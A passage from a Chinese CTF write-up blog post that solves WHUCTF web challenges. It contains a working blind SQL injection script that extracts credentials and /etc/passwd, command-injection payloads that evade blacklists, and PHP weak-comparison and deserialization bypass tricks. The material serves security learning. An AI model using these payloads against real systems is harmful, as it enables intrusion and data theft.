[網絡安全自學篇] 八十.WHUCTF之WEB類解題思路WP(代碼審計、文件包含、過濾繞過、SQL注入)

這是做者網絡安全自學教程系列,主要是關於安全工具和實踐操做的在線筆記,特分享出來與博友們學習,但願您喜歡,一塊兒進步。前文分享了Windows PE病毒, 包括PE病毒原理、分類及感染方式詳解,並經過案例進行介紹。這篇文章將介紹WHUCTF部分題目,第一次參加CTF,仍是能學到不少東西。下面分享四個我完成的WEB類型題目的解題過程,但願對您有所幫助。原本感受能作出6道題目,但有兩道題卡在某個點,後面幾天忙於其餘事情,就沒再參加。人生路上,要珍惜好每一天與家人陪伴的日子。感謝武漢大學,感謝網安學院,感謝這些大佬和師傅們(尤爲出題和解題的老師們)~javascript

在這裏插入圖片描述

做者做爲網絡安全的小白,分享一些自學基礎教程給你們,主要是關於安全工具和實踐操做的在線筆記,但願您們喜歡。同時,更但願您能與我一塊兒操做和進步,後續將深刻學習網絡安全和系統安全知識並分享相關實驗。總之,但願該系列文章對博友有所幫助,寫文不易,大神們不喜勿噴,謝謝!若是文章對您有幫助,將是我創做的最大動力,點贊、評論、私聊都可,一塊兒加油喔~php

PS:本文參考了《軟件安全》視頻、安全網站和參考文獻中的文章(詳見參考文獻),並結合本身的經驗和實踐進行撰寫,也推薦你們閱讀參考文獻。css

做者的github資源:
軟件安全:https://github.com/eastmountyxz/Software-Security-Course
其餘工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
XSS案例:https://github.com/eastmountyxz/XSS-Experiment


html


聲明:本人堅定反對利用教學方法進行犯罪的行爲,一切犯罪行爲必將受到嚴懲,綠色網絡須要咱們共同維護,更推薦你們瞭解它們背後的原理,更好地進行防禦。java

前文學習:
[網絡安全自學篇] 一.入門筆記之看雪Web安全學習及異或解密示例
[網絡安全自學篇] 二.Chrome瀏覽器保留密碼功能滲透解析及登陸加密入門筆記
[網絡安全自學篇] 三.Burp Suite工具安裝配置、Proxy基礎用法及暴庫示例
[網絡安全自學篇] 四.實驗吧CTF實戰之WEB滲透和隱寫術解密
[網絡安全自學篇] 五.IDA Pro反彙編工具初識及逆向工程解密實戰
[網絡安全自學篇] 六.OllyDbg動態分析工具基礎用法及Crakeme逆向
[網絡安全自學篇] 七.快手視頻下載之Chrome瀏覽器Network分析及Python爬蟲探討
[網絡安全自學篇] 八.Web漏洞及端口掃描之Nmap、ThreatScan和DirBuster工具
[網絡安全自學篇] 九.社會工程學之基礎概念、IP獲取、IP物理定位、文件屬性
[網絡安全自學篇] 十.論文之基於機器學習算法的主機惡意代碼
[網絡安全自學篇] 十一.虛擬機VMware+Kali安裝入門及Sqlmap基本用法
[網絡安全自學篇] 十二.Wireshark安裝入門及抓取網站用戶名密碼(一)
[網絡安全自學篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及數據流追蹤和圖像抓取(二)
[網絡安全自學篇] 十四.Python攻防之基礎常識、正則表達式、Web編程和套接字通訊(一)
[網絡安全自學篇] 十五.Python攻防之多線程、C段掃描和數據庫編程(二)
[網絡安全自學篇] 十六.Python攻防之弱口令、自定義字典生成及網站暴庫防禦
[網絡安全自學篇] 十七.Python攻防之構建Web目錄掃描器及ip代理池(四)
[網絡安全自學篇] 十八.XSS跨站腳本攻擊原理及代碼攻防演示(一)
[網絡安全自學篇] 十九.Powershell基礎入門及常見用法(一)
[網絡安全自學篇] 二十.Powershell基礎入門及常見用法(二)
[網絡安全自學篇] 二十一.GeekPwn極客大賽之安全攻防技術總結及ShowTime
[網絡安全自學篇] 二十二.Web滲透之網站信息、域名信息、端口信息、敏感信息及指紋信息收集
[網絡安全自學篇] 二十三.基於機器學習的惡意請求識別及安全領域中的機器學習
[網絡安全自學篇] 二十四.基於機器學習的惡意代碼識別及人工智能中的惡意代碼檢測
[網絡安全自學篇] 二十五.Web安全學習路線及木馬、病毒和防護初探
[網絡安全自學篇] 二十六.Shodan搜索引擎詳解及Python命令行調用
[網絡安全自學篇] 二十七.Sqlmap基礎用法、CTF實戰及請求參數設置(一)
[網絡安全自學篇] 二十八.文件上傳漏洞和Caidao入門及防護原理(一)
[網絡安全自學篇] 二十九.文件上傳漏洞和IIS6.0解析漏洞及防護原理(二)
[網絡安全自學篇] 三十.文件上傳漏洞、編輯器漏洞和IIS高版本漏洞及防護(三)
[網絡安全自學篇] 三十一.文件上傳漏洞之Upload-labs靶場及CTF題目01-10(四)
[網絡安全自學篇] 三十二.文件上傳漏洞之Upload-labs靶場及CTF題目11-20(五)
[網絡安全自學篇] 三十三.文件上傳漏洞之繞狗一句話原理和繞過安全狗(六)
[網絡安全自學篇] 三十四.Windows系統漏洞之5次Shift漏洞啓動計算機
[網絡安全自學篇] 三十五.惡意代碼攻擊溯源及惡意樣本分析
[網絡安全自學篇] 三十六.WinRAR漏洞復現(CVE-2018-20250)及惡意軟件自啓動劫持
[網絡安全自學篇] 三十七.Web滲透提升班之hack the box在線靶場註冊及入門知識(一)
[網絡安全自學篇] 三十八.hack the box滲透之BurpSuite和Hydra密碼爆破及Python加密Post請求(二)
[網絡安全自學篇] 三十九.hack the box滲透之DirBuster掃描路徑及Sqlmap高級注入用法(三)
[網絡安全自學篇] 四十.phpMyAdmin 4.8.1後臺文件包含漏洞復現及詳解(CVE-2018-12613)
[網絡安全自學篇] 四十一.中間人攻擊和ARP欺騙原理詳解及漏洞還原
[網絡安全自學篇] 四十二.DNS欺騙和釣魚網站原理詳解及漏洞還原
[網絡安全自學篇] 四十三.木馬原理詳解、遠程服務器IPC$漏洞及木馬植入實驗
[網絡安全自學篇] 四十四.Windows遠程桌面服務漏洞(CVE-2019-0708)復現及詳解
[網絡安全自學篇] 四十五.病毒詳解及批處理病毒製做(自啓動、修改密碼、定時關機、藍屏、進程關閉)
[網絡安全自學篇] 四十六.微軟證書漏洞CVE-2020-0601 (上)Windows驗證機制及可執行文件簽名復現
[網絡安全自學篇] 四十七.微軟證書漏洞CVE-2020-0601 (下)Windows證書籤名及HTTPS網站劫持
[網絡安全自學篇] 四十八.Cracer第八期——(1)安全術語、Web滲透流程、Windows基礎、註冊表及黑客經常使用DOS命令
[網絡安全自學篇] 四十九.Procmon軟件基本用法及文件進程、註冊表查看
[網絡安全自學篇] 五十.虛擬機基礎之安裝XP系統、文件共享、網絡快照設置及Wireshark抓取BBS密碼
[網絡安全自學篇] 五十一.惡意樣本分析及HGZ木馬控制目標服務器
[網絡安全自學篇] 五十二.Windows漏洞利用之棧溢出原理和棧保護GS機制
[網絡安全自學篇] 五十三.Windows漏洞利用之Metasploit實現棧溢出攻擊及反彈shell
[網絡安全自學篇] 五十四.Windows漏洞利用之基於SEH異常處理機制的棧溢出攻擊及shell提取
[網絡安全自學篇] 五十五.Windows漏洞利用之構建ROP鏈繞過DEP並獲取Shell
[網絡安全自學篇] 五十六.i春秋老師分享小白滲透之路及Web滲透技術總結
[網絡安全自學篇] 五十七.PE文件逆向之什麼是數字簽名及Signtool簽名工具詳解(一)
[網絡安全自學篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反彈shell
[網絡安全自學篇] 五十九.Windows漏洞利用之MS08-067遠程代碼執行漏洞復現及shell深度提權
[網絡安全自學篇] 六十.Cracer第八期——(2)五萬字總結Linux基礎知識和經常使用滲透命令
[網絡安全自學篇] 六十一.PE文件逆向之數字簽名詳細解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[網絡安全自學篇] 六十二.PE文件逆向之PE文件解析、PE編輯工具使用和PE結構修改(三)
[網絡安全自學篇] 六十三.hack the box滲透之OpenAdmin題目及蟻劍管理員提權(四)
[網絡安全自學篇] 六十四.Windows漏洞利用之SMBv3服務遠程代碼執行漏洞(CVE-2020-0796)復現及詳解
[網絡安全自學篇] 六十五.Vulnhub靶機滲透之環境搭建及JIS-CTF入門和蟻劍提權示例(一)
[網絡安全自學篇] 六十六.Vulnhub靶機滲透之DC-1提權和Drupal漏洞利用(二)
[網絡安全自學篇] 六十七.WannaCry勒索病毒復現及分析(一)Python利用永恆之藍及Win7勒索加密
[網絡安全自學篇] 六十八.WannaCry勒索病毒復現及分析(二)MS17-010利用及病毒解析
[網絡安全自學篇] 六十九.宏病毒之入門基礎、防護措施、自發郵件及APT28樣本分析
[網絡安全自學篇] 七十.WannaCry勒索病毒復現及分析(三)蠕蟲傳播機制分析及IDA和OD逆向
[網絡安全自學篇] 七十一.深信服分享以外部威脅防禦和勒索病毒對抗
[網絡安全自學篇] 七十二.逆向分析之OllyDbg動態調試工具(一)基礎入門及TraceMe案例分析
[網絡安全自學篇] 七十三.WannaCry勒索病毒復現及分析(四)蠕蟲傳播機制全網源碼詳細解讀
[網絡安全自學篇] 七十四.APT攻擊檢測溯源與常見APT組織的攻擊案例
[網絡安全自學篇] 七十五.Vulnhub靶機滲透之bulldog信息收集和nc反彈shell(三)
[網絡安全自學篇] 七十六.逆向分析之OllyDbg動態調試工具(二)INT3斷點、反調試、硬件斷點與內存斷點
[網絡安全自學篇] 七十七.惡意代碼與APT攻擊中的武器(強推Seak老師)
[網絡安全自學篇] 七十八.XSS跨站腳本攻擊案例分享及總結(二)
[網絡安全自學篇] 七十九.Windows PE病毒原理、分類及感染方式詳解














































































python


前文欣賞:
[滲透&攻防] 一.從數據庫原理學習網絡攻防及防止SQL注入
[滲透&攻防] 二.SQL MAP工具從零解讀數據庫及基礎用法
[滲透&攻防] 三.數據庫之差別備份及Caidao利器
[滲透&攻防] 四.詳解MySQL數據庫攻防及Fiddler神器分析數據包



mysql



一.Easy_sqli

1.題目描述

網址: http://218.197.154.9:10011/login.php
考點: SQL注入
linux

在這裏插入圖片描述

主界面顯示以下圖所示:git

在這裏插入圖片描述

核心代碼以下,採用POST提交請求。github

<!DOCTYPE html>
<!-- saved from url=(0036)http://218.197.154.9:10011/login.php -->
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<meta http-equiv="X-UA-Compatible" content="ie=edge">
	<title>Login</title>
	<link rel="stylesheet" href="./Login_files/login.css">
	<link rel="stylesheet" href="./Login_files/font-awesome.css">
</head>
<body>
	<div id="login-box">
		<h1>Sign Up</h1>
		<div class="form">
			<form action="http://218.197.154.9:10011/login.php#" onsubmit="return check(this)" method="post" accept-charset="utf-8">
				<div class="item">
					<i class="fa fa-user-circle" aria-hidden="true"></i>
					<input type="text" name="user" placeholder="Username">
				</div>
				<div class="item">
					<i class="fa fa-key" aria-hidden="true"></i>
					<input type="text" name="pass" placeholder="Password">
				</div>
				<button type="submit">Login</button>
			</form>
		</div>
	</div>
	<div>
		<script type="text/javascript"> function check(form) { if(form.user.value == "") { alert("Username could not be empty!"); form.user.focus(); return false; } if(form.pass.value == "") { alert("Password could not be empty!"); form.pass.focus(); return false; } return true; } </script>
	</div>

</body></html>


2.解題思路

(1) 首先,該題僅一個登錄頁面,首先想到的是萬能密碼登陸,好比admin、‘or’=‘or’ 等。
當咱們輸入admin提示登陸失敗,而且反饋SQL語句。

Your sql statement is: SELECT password FROM users WHERE username='admin' AND password='admin'

在這裏插入圖片描述

在這裏插入圖片描述

當咱們輸入 ‘or’=’ 提示登陸成功,但沒有跳轉下一個界面而直接返回登陸界面,同時返回的SQL語句看到or被屏蔽了。此時,可能部分同窗會疑惑明明登陸成功,怎麼沒返回flag呢?這裏並無成功了。

Your sql statement is: SELECT password FROM users WHERE username=''''='' AND password=''''=''

在這裏插入圖片描述

在這裏插入圖片描述

同時,嘗試用戶名和密碼拼接繞過也沒成功。

'or'=' union SELECT 1,database() 'or'='/**/union/**/select/**/1,database()
'oorr'=' union seselectlect 1,database()

這裏推薦兩篇常規的SQL注入文章:



(2) 做者遇到網站都喜歡掃描目錄和端口,但這裏也沒有好的信息。同時,採用SQLMAP掃描也沒有什麼成功,以下圖所示。

  • dirb http://218.197.154.9:10011/ /usr/share/dirb/wordlists/small.txt
  • sqlmap -u 「http://218.197.154.9:10011/img/?C=D;O=A」 --dbs

在這裏插入圖片描述

在這裏插入圖片描述



(3) 當SQLMAP等工具不能使用時,咱們須要經過手工找到注入點或進行注入,這裏補充一種很是使用的方法,經過Python發送數據包來反彈數據庫、表、字段和用戶名及密碼。

  • ① 獲取數據庫名稱
import requests,urllib
import math
from urllib.parse import quote_plus

#代理配置
proxies = {
 'http': 'http://127.0.0.1:8888',
 'https': 'http://127.0.0.1:8888'
}
proxies = None

#設置消息頭
reqHeaders = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'en,en-US;q=0.8,zh-CN;q=0.5,zh;q=0.3',
    'Accept-Encoding': 'gzip, deflate, br'
}

postHeaders = reqHeaders.copy()
postHeaders['Referer'] = 'http://218.197.154.9:10011/login.php'
postHeaders['Content-Type'] = 'application/x-www-form-urlencoded'

#定義網址
url = 'http://218.197.154.9:10011/login.php'

"""發送POST數據"""
#數據庫名
postStr = """user=aa'or+ascii(substr(database(),{0},1))>{1}--+&pass=admin""".replace('or','oorr')
print(postStr)

#設置請求
reqSess = requests.session()
#reqSess.cookies.set('JSESSIONID','87B415C3E689651FF292DA16B32AB3EF')

#Current Bit & Max Bits
cb, mb = 1,4096

#採用二分查重匹配字符串
stillLeft = True
while cb < mb and stillLeft:
    #ascii of start,middle and end
    s,m,e = 0,0,255

    while s < e:
        sqliStr = postStr.format(cb,m)
        print(sqliStr)
        
        postHeaders['Content-Length']= str(len(postStr))
        #print(postHeaders)

        currentFailedTimes,maxFailedTimes = 0,10
        while currentFailedTimes < maxFailedTimes:
            try:
                rst = reqSess.post(url,sqliStr,headers=postHeaders,
                                   proxies=proxies,allow_redirects=False,verify=False)
                break
            except Exception as ex:
                if currentFailedTimes > 5:
                    print('[X]Failed Times:%d'%(currentFailedTimes))
                currentFailedTimes += 1
                if currentFailedTimes == maxFailedTimes:
                    exit("Too Much Errors,Going To Stop")
        #result is true
        if 'Login success' in rst.text:
            #print("[v]{}:{}->{}->{}".format(cb,s,m,e))
            if e - 1 == m:
                m = e
                break
            s = m
        else:
            #print("[x]{}:{}->{}->{}".format(cb,s,m,e))
            #even > 0 is error,no bits left
            if m == 0:
                stillLeft = False
                break
            if e - 1 == m:
                break
            e = m
        m = s + math.ceil((e - s)/2)
    if not m == 0:
        print(chr(m),end='\n')
    cb += 1

輸出結果以下圖所示,經過二分查找獲取數據庫database()第一位是e,最終獲取數據庫名稱。核心代碼以下:

postStr = """user=aa'or+ascii(substr(database(),{0},1))>{1}--+&pass=admin""".replace('or','oorr')

對應的SQL語句爲:

SELECT password FROM users WHERE username=‘aa’ or substr(database(),1,1)>64 –’ AND password=’’

在這裏插入圖片描述

簡單修改代碼,把中間輸出的值註釋掉,並輸出的字符串拼接在一塊兒,最終輸出結果以下圖所示,數據庫爲easy_sql1。

  • #print(sqliStr)
  • print(chr(m),end=’’)

在這裏插入圖片描述


  • ② 獲取系統密碼信息
postStr = """user=aa'or+ascii(substr(load_file('/etc/passwd'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct')

輸出結果以下:

在這裏插入圖片描述

  • ③ 獲取數據庫表名信息
    注意這裏是子查詢,group_concat()函數將表名鏈接在一行,採用逗號分隔。
postStr = """user=aa'or+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')

輸出結果以下,包括f1ag_y0u_wi1l_n3ver_kn0w、users。

在這裏插入圖片描述

  • ④ 獲取用戶名和密碼
    本題主要是獲取f1ag表中的字段和值,而真實的網站中一般須要獲取用戶表的信息。
postStr = """user=aa'or+ascii(substr((select group_concat(username,0x2b,password) from users),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')

輸出結果以下,這些用戶名和密碼均能登陸,但登陸成功後仍會返回界面。

在這裏插入圖片描述

  • ⑤ 獲取f1ag表字段
postStr = """user=aa'or+ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='f1ag_y0u_wi1l_n3ver_kn0w'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')

輸出結果以下,字段爲f111114g。

在這裏插入圖片描述

  • ⑥ 獲取f1ag字段對應的值
postStr = """user=aa'or+ascii(substr((select group_concat(f111114g) from f1ag_y0u_wi1l_n3ver_kn0w),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')

輸出結果以下,並獲取flag值。

在這裏插入圖片描述

題目+實戰總結:

  • 本題考察SQL注入,傳統的手工注入和SQLMAP有時會遇到攔截,咱們能夠嘗試其餘方法
  • 做者提供一種基於Python的自動化SQL注入方法,同時採用二分查找進行匹配及暴庫,較爲適用
  • 當咱們拿到一個網站,首先須要儘量地收集(端口、服務、目錄),弱口令、萬能密碼測試,接下來想辦法找漏洞點,不一樣系統版本會有不一樣的漏洞

完整代碼:

import requests,urllib
import math
from urllib.parse import quote_plus

#代理配置
proxies = {
 'http': 'http://127.0.0.1:8888',
 'https': 'http://127.0.0.1:8888'
}
proxies = None

#設置消息頭
reqHeaders = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'en,en-US;q=0.8,zh-CN;q=0.5,zh;q=0.3',
    'Accept-Encoding': 'gzip, deflate, br'
}

postHeaders = reqHeaders.copy()
postHeaders['Referer'] = 'http://218.197.154.9:10011/login.php'
postHeaders['Content-Type'] = 'application/x-www-form-urlencoded'

#定義網址
url = 'http://218.197.154.9:10011/login.php'

"""發送POST數據"""
#數據庫名
postStr = """user=aa'or+ascii(substr(database(),{0},1))>{1}--+&pass=admin""".replace('or','oorr')

#系統密碼
postStr = """user=aa'or+ascii(substr(load_file('/etc/passwd'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct')

#獲取表名
postStr = """user=aa'or+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
#f1ag_y0u_wi1l_n3ver_kn0w,users

#用戶名和密碼
postStr = """user=aa'or+ascii(substr((select group_concat(username,0x2b,password) from users),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
#Dumb+Dumb,Angelina+I-kill-you,Dummy+p@ssword,secure+crappy,stupid+stupidity

#獲取f1ag字段
postStr = """user=aa'or+ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='f1ag_y0u_wi1l_n3ver_kn0w'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
#f111114g

#獲取對應值
postStr = """user=aa'or+ascii(substr((select group_concat(f111114g) from f1ag_y0u_wi1l_n3ver_kn0w),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
#WHUCTF{r3lly_re11y_n0t_d1ffIcult_yet??~}

print(postStr)

#設置請求
reqSess = requests.session()
#reqSess.cookies.set('JSESSIONID','87B415C3E689651FF292DA16B32AB3EF')

#Current Bit & Max Bits
cb, mb = 1,4096

#採用二分查重匹配字符串
stillLeft = True
while cb < mb and stillLeft:
    #ascii of start,middle and end
    s,m,e = 0,0,255

    while s < e:
        sqliStr = postStr.format(cb,m)
        #print(sqliStr)
        
        postHeaders['Content-Length']= str(len(postStr))
        #print(postHeaders)

        currentFailedTimes,maxFailedTimes = 0,10
        while currentFailedTimes < maxFailedTimes:
            try:
                rst = reqSess.post(url,sqliStr,headers=postHeaders,
                                   proxies=proxies,allow_redirects=False,verify=False)
                break
            except Exception as ex:
                if currentFailedTimes > 5:
                    print('[X]Failed Times:%d'%(currentFailedTimes))
                currentFailedTimes += 1
                if currentFailedTimes == maxFailedTimes:
                    exit("Too Much Errors,Going To Stop")
        #result is true
        if 'Login success' in rst.text:
            #print("[v]{}:{}->{}->{}".format(cb,s,m,e))
            if e - 1 == m:
                m = e
                break
            s = m
        else:
            #print("[x]{}:{}->{}->{}".format(cb,s,m,e))
            #even > 0 is error,no bits left
            if m == 0:
                stillLeft = False
                break
            if e - 1 == m:
                break
            e = m
        m = s + math.ceil((e - s)/2)
    if not m == 0:
        print(chr(m),end='')
    cb += 1

最後補充武大CTF師傅的WP代碼,推薦你們學習。

import requests
import string
res = requests.session()
url = 'http://218.197.154.9:10011/login.php'
flag = ''
for j in range(1,200):
    for i in string.printable: 
        # payload = "admin' and if(((substr((seselectlect database()),{},1))='{}'),1,2)=1#".format(j,i)
        # payload = "admin' and if((substring((seleselectct database()),{},1)='{}'),1,2)=1#".format(j,i)
        # easy_sql1
        # payload = "admin' and if((substring((selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema = database()),{},1)='{}'),1,2)=1#".format(j,i)
        # f1ag_y0u_wi1l_n3ver
        # payload = "admin' and if((substring((selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name = 'f1ag_y0u_wi1l_n3ver_kn0w'),{},1)='{}'),1,2)=1#".format(j,i)
        # payload = "admin' and if((substring((seselectlect group_concat(f111114g) frofromm f1ag_y0u_wi1l_n3ver_kn0w),{},1)='{}'),1,2)=1#".format(j,i)
        # payload = "admin' and if(ascii(substring((seselectlect group_concat(f111114g) frofromm f1ag_y0u_wi1l_n3ver_kn0w),{},1))=ascii('{}'),1,2)=1#".format(j,i)
        data = {
            "user" : payload,
            "pass" : 1
        }
        content = res.post(url,data=data)
        result = content.text
        # print(result)
        #
        if 'success' in result:
            flag += i
            print(flag)
            break


二.ezcmd

1.題目描述

網址: http://218.197.154.9:10011/login.php
考點: CMD命令繞過

在這裏插入圖片描述

主界面顯示以下圖所示:

在這裏插入圖片描述

題目代碼以下:

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("no space!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("no flag");
  } else if(preg_match("/tac|rm|echo|cat|nl|less|more|tail|head/", $ip)){
    die("cat't read flag");
  }
  $a = shell_exec("ping -c 4 ".$ip); 
  echo "<pre>";
  print_r($a);
}
highlight_file(__FILE__);
?>


2.解題思路

看到這類題目,首先想到的是命令執行方法利用管道符或者分號,而後再層層繞過。該題目有三處限制:不能有空格、不能有flag字樣,不能有cat等命令。

(1) 利用ip本地地址和ls命令查看目錄下文件。

  • http://218.197.154.9:10016/?ip=127.0.0.1|ls

在這裏插入圖片描述

結果:咱們看到了flag.php和index.php文件。


(2) 接着想辦法利用cat命令讀取flag.php內容。

  • http://218.197.154.9:10016/?ip=127.0.0.1|cat%20flag.php

在這裏插入圖片描述

結果:提示咱們不能使用空格。同時 /tac|rm|echo|cat|nl|less|more|tail|head 讀取指令被ban,須要想辦法進行繞過。當提示空格被ban,咱們能夠利用下面的方法進行繞過。

  • $IFS
  • ${IFS}
  • $IFS$1 // $1 改爲 $ 加其餘數字貌似都行
  • <
  • <>
  • {cat,flag.php} //用逗號實現了空格功能
  • %20
  • %09

(3) 繞過空格利用cat讀取flag文件。

  • http://218.197.154.9:10016/?ip=127.0.0.1|cat$IFS$1flag.php

注意:若是cat被禁用,咱們須要使用tac反向輸出命令,linux命令中能夠加\,甚至能夠ca\t /fl\ag。

在這裏插入圖片描述

結果:此時提示no flag。


(4) PHP源代碼中發現一個變量a,想辦法覆蓋這個變量,下面代碼至關於cat flag.php。

http://218.197.154.9:10016/?ip=218.197.154.9;a=g;ca\t$IFS$1fla$a.php

在這裏插入圖片描述

此時輸出結果以下:PING 127.0.0.1 (127.0.0.1): 56 data bytes,最終在註釋部分看到flag值。

在這裏插入圖片描述

題目+實戰總結:

  • 這類題型的命令執行方法是利用管道符或者分號層層繞過
  • 接着利用$IFS1繞過空格限制
  • 最後使用$a變量繞過黑名單,成功執行cat flag.php命令
?ip=218.197.154.9;a=g;ca\t$IFS$1fla$a.php

同時給出另兩位師傅的繞過payload。

#方法1
?ip=127.0.0.1;a=g;ca$@t$IFS$1fla$a.php

#方法2
url='http://218.197.154.9:10016?ip=127.0.0.1;ls$IFS-l;b=c;n=a;m=t;o=g;p=a;q=l;r=f;s=i;$b$n$m$IFS$r$q$p$o.php'
r =requests.get(url)
print(r.text)

在這裏插入圖片描述


推薦及參考文章:



三.ezphp

1.題目描述

網址: http://218.197.154.9:10015/
考點: PHP代碼審計

在這裏插入圖片描述

主界面顯示以下圖所示:

在這裏插入圖片描述

核心代碼以下:

<?php
error_reporting(0);
highlight_file(__file__);
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];

//1st
if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){
    echo '1st ok'."<br>";
}
else{
    die('會代碼審計嘛23333');
}


//2nd
if(is_numeric($string_1)){
    $md5_1 = md5($string_1);
    $md5_2 = md5($string_2);

    if($md5_1 != $md5_2){
        $a = strtr($md5_1, 'pggnb', '12345');
        $b = strtr($md5_2, 'pggnb', '12345');
        if($a == $b){
            echo '2nd ok'."<br>";
        }
        else{
            die("can u give me the right str???");
        }
    } 
    else{
        die("no!!!!!!!!");
    }
}
else{
    die('is str1 numeric??????');
}

//3nd
function filter($string){
    return preg_replace('/x/', 'yy', $string);
}

$username = $_POST['username'];

$password = "aaaaa";
$user = array($username, $password);

$r = filter(serialize($user));
if(unserialize($r)[1] == "123456"){
    echo file_get_contents('flag.php');
}
會代碼審計嘛23333


2.解題思路

本題建議你們本地搭建環境進行測試,這個題目分爲三段繞過測試。

(1) 第一段繞過。
首先num值不等於23333,同時preg_match()函數匹配正則表達式,這裏使用%0A作截斷,經過換行繞過preg_match函數。

在這裏插入圖片描述

  • http://218.197.154.9:10015/?num=23333%0A

在這裏插入圖片描述


(2) 第二段繞過。
傳入string_1和string_2並計算md5值,而後要求md5值不相等;再經過strtr()函數將「pggnb」替換成「12345」,替換後的兩個值要求相等,這裏經過PHP弱類型比較漏洞繞過。

PHP在處理哈希字符串時,會利用 != 或 == 來對哈希值進行比較,它把每個以"0E"開頭的哈希值都解釋爲0,若是兩個不一樣的密碼通過哈希之後,其哈希值都是以"0E"開頭,那麼PHP將會認爲他們相同都是0。

在這裏插入圖片描述

解決方法參考52hertz和Ly-sec-l大佬的文章!
在PHP弱類型中,0e+數字類型使用==會被認爲相等,故:

  • 可讓md5_1的值以0e開頭,後面含有字母b,md5_2一樣以0e開頭,但只含有數字(純數字),從而繞過md5_1 != md5_2。
  • 經過strtr()函數將b替換成5後,使得 $ a == $ b,最終繞過驗證。

這裏咱們須要讓str1通過md5後以0e開頭,後面只包含pggnb中一個或多個的字母,其他是數字,這樣一替換就都是0e形成PHP弱類型的繞過。下列的Python代碼仍是獲取str1含有字母的md5加密值。

import hashlib
import re
import random
import requests

# 11230178
def md5():
	global dict_az
	dict_az = 'abcdefghijklmnopqrstuvwxyz'
	i = 0
	while True:
		result = ''
		result += str(i)
		i = i + 1
		hashed_s = hashlib.md5(result.encode('utf-8')).hexdigest()
		r = re.match('^0e[0-9pggnb]{30}', hashed_s)
		if r:
			print("[+] found! md5( {} ) ---> {}".format(result, hashed_s))
			exit(0)

		if i % 1000000 == 0:
			print("[+] current value: {} {} iterations, continue...".format(result, str(i)))

md5()

運行結果爲11230178,md5值爲0e732639146814822596b49bb6939b97,替換後就爲純數字。

在這裏插入圖片描述

此時構造的Payload以下,成功繞過第二關。

  • http://localhost/0523.php?num=23333%0A&str1=11230178&str2=0e215962017
  • http://218.197.154.9:10015/?num=23333%0a&str1=11230178&str2=QNKCDZO

在這裏插入圖片描述


(3) 第三段繞過。
經過filter進行字符替換,unserialize進行反序列化處理。這裏主要利用PHP反序列化中的字符逃逸。
在這裏插入圖片描述

PHP在反序列化時,底層代碼是以 ; 做爲字段的分隔,以 } 做爲結尾(字符串除外),而且是根據長度判斷內容的。好比在一個正常的反序列化的代碼輸入 a:2:{i:0;s:6:「peri0d」;i:1;s:5:「aaaaa」;} 會獲得以下結果,包含兩個值。同時,若是換成 a:2:{i:0;s:6:「peri0d」;i:1;s:5:「aaaaa」;}i:1;s:5:「aaaaa」; 仍然是下面的結果。

<?php
  class Test{
	public $test;
  }

  $s1 = 'a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}';
  var_dump(unserialize($s1));
  echo '<br>';
  $s2 = 'a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
  var_dump(unserialize($s2));
?>

在這裏插入圖片描述

這道題目的代碼將x替換爲yy,若是把username換成peri0dxxx ,其處理後的序列化結果爲 a:2:{i:0;s:9:「peri0dyyyyyy」;i:1;s:5:「aaaaa」;} 。這個時候確定會反序列化失敗的,由於 s:9:「peri0dyyyyyy」 比之前多了 3 個字符,這就須要繼續增長填充字符實現了密碼的修改。

解決方法:
